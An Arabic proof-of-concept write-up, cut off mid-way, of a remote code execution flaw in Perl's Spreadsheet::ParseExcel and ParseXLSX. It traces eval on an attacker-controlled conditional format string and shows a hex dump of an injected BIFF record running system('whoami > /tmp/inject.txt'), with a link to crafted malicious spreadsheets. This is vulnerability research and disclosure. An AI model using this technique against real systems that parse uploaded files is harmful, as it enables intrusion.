
POC لثغرة RCE في مكتبة ParseExcel، وأيضًا ParseXLSX، كمكتبة تابعة
TL;DR: تنفيذ التعليمات البرمجية عن بُعد (RCE) من منطق تحليل سلاسل التنسيق.
السبب الجذري للاستغلال ينبع من استدعاء eval على مدخلات مستخدم غير مُتحقق منها في Utility.pm
# Uitlity.pm
sub ExcelFmt {
my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;
return $number unless $number =~ $qrNUMBER;
my $conditional;
if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
$conditional = $1;
$format_str = $2;
}
#...
if ($conditional) {
# TODO. Replace string eval with a function.
$section = eval "$number $conditional" ? 0 : 1;
}
#...
}
وفقًا لما فحصته، فإن التنفيذ الحالي لهذا التدفق يفتقر إلى التحقق المناسب، بينما يُعد استخدام eval للتعامل مع منطق المقارنات مبالغًا فيه في هذه الحالة. ولهذا السبب، فإن كلاً من ParseExcel::parse وParseXLSX::parse (المُستخدمين لقراءة البيانات من ملفات Excel) معرّضان لثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE).
$format_str؟ValFmt هو المُستدعي الأكثر احتمالية لـ ExcelFmt، لذا سأتعمق في شرح هذه الدالة
sub ValFmt {
my ( $oThis, $oCell, $oBook ) = @_;
my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );
if ( $oCell->{Type} eq 'Text' ) {
$Dt =
( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
: '';
return $Dt;
}
else {
$Dt = $oCell->{Val};
$Flg1904 = $oBook->{Flg1904};
my $sFmtStr = $oThis->FmtString( $oCell, $oBook );
# where RCE lies => $oCell->{Type} must be either "Date" or "Number"
return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} );
}
}
إذا كان $oCell->{Type} هو Date أو Number، فسيتم استدعاء ExcelFmt.
أما القيمة $format_str فهي المُعادة من دالة أخرى: FmtString
sub FmtString {
my ( $oThis, $oCell, $oBook ) = @_;
my $sFmtStr =
$oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
$oBook ); # maps to the correct format string
#...
unless ( defined($sFmtStr) ) {
# assigns default format string depending on the value, can ignore
#...
}
return $sFmtStr;
}
يتم استدعاء دالة أخرى هنا أيضًا، لذا سنفحص FmtStringDef كذلك
sub FmtStringDef {
my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping
# More with assigning default format string, can ignore
#...
}
جميع المتغيرات واضحة، ويمكننا استنتاج ناقل الهجوم كما يلي:
$iFmtIdx$oBook->{Format}[$cellFmtIdx] يرتبط بـ $iFmtIdx$oCell->{FormatNo} = $cellFmtIdx)
![[flow 1.png]]في الأقسام أدناه، سأقدّم شرحًا تفصيليًا لكيفية نقل الحمولة كود الصدفة إلى أمر eval. سيكون هناك قسمان: أحدهما لتحليل ملف .xls باستخدام ParseExcel والآخر لتحليل ملف .xlsx باستخدام ParseXLSX.
للتوضيح، فيما يلي رابط لملفات Excel الخبيثة التي صممناها (بصيغة .xls و.xlsx) والتي تشغّل whoami وتخزّن النتيجة في ملف /tmp/inject.txt.
https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b
خذ برنامج Perl بسيطًا لتحليل ملف xls كما في الأسفل، والذي يستخدم ParseExcel::parse. سيحدث تنفيذ التعليمات البرمجية عن بُعد (RCE) أثناء عملية التحليل، حتى قبل جلب أي بيانات.
use strict;
use Spreadsheet::ParseExcel;
my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");
ملفات Excel 97 الثنائية مُهيكلة في كتل من البيانات الثنائية تُسمى سجلات BIFF. يبدأ كل سجل بترويسة تُسمى opCode (بترتيب البايتات الأقل دلالة أولاً)، يليها طول السجل ثم بياناته الفعلية.
sub QueryNext {
my ( $q ) = @_;
if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
return 0;
}
my $data = substr( $q->{stream}, $q->{streamPos}, 4 );
( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );
# No biff record should be larger than around 20,000.
if ( $q->{length} >= 20000 ) {
return 0;
}
if ( $q->{length} > 0 ) {
$q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
}
else {
$q->{data} = undef;
$q->{dont_decrypt_next_record} = 1;
}
if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
# Handles with decryption
}
elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
# not implemented
return 0;
}
elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {
}
$q->{streamPos} += 4 + $q->{length};
return 1;
}
بعد ذلك، يتم استخدام مُعالج مطابق لنوع السجل لاستخراج بيانات سجل BIFF.
if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
$self->{FuncTbl}->{$record}
->( $workbook, $record, $record_length, $record_header );
}
يتم التعامل مع سلسلة التنسيق بواسطة _subFormat، مع opCode = 0x41E
sub _subFormat {
my ( $oBook, $bOp, $bLen, $sWk ) = @_;
my $sFmt;
if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
$sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
$sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
}
else {
$sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
}
my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );
# Excel 4 and earlier used an index of 0 to indicate that a built-in format
# that was stored implicitly.
if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
$format_index = keys %{ $oBook->{FormatStr} };
}
$oBook->{FormatStr}->{$format_index} = $sFmt;
}
لم أكن متأكدًا من إصدار BIFF المستخدم في ملف .xls الخاص بي، لكن وفقًا للبيانات الموجودة في الملف الثنائي، يجب أن يطابق حالة else (> verBIFF5).
يجب أن يكون هيكل سجل سلسلة التنسيق في إصدارات BIFF الأحدث كما يلي: 1E 04 [طول السجل - 2 بايت] [فهرس سلسلة التنسيق - 2 بايت] [طول سلسلة التنسيق - 1 بايت] [أعلام السلسلة - 2 بايت] [محتوى سلسلة التنسيق]
باتباع الهيكل الصحيح، يمكنني حقن أي سلسلة تنسيق في ملف .xls.
سجل BIFF الفعلي لسلسلة التنسيق التي حقنتها في إثبات المفهوم (فهرس سلسلة التنسيق هو \x00\xa5)
00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73 ..1...,..[>123;s
^^^^
format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20 ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427 /tmp/inject.txt'
00000030: 295d 3132 33 )]123
تحدّد تنسيقات الخلايا العديد من الخصائص للخلية، مثل سلسلة التنسيق والأنماط والخطوط... يمكن لتنسيق خلية واحد أن يرتبط بسلسلة تنسيق واحدة من خلال تضمين فهرس سلسلة التنسيق داخل سجل BIFF الخاص بها. تتم معالجة هذا المنطق بواسطة _subXf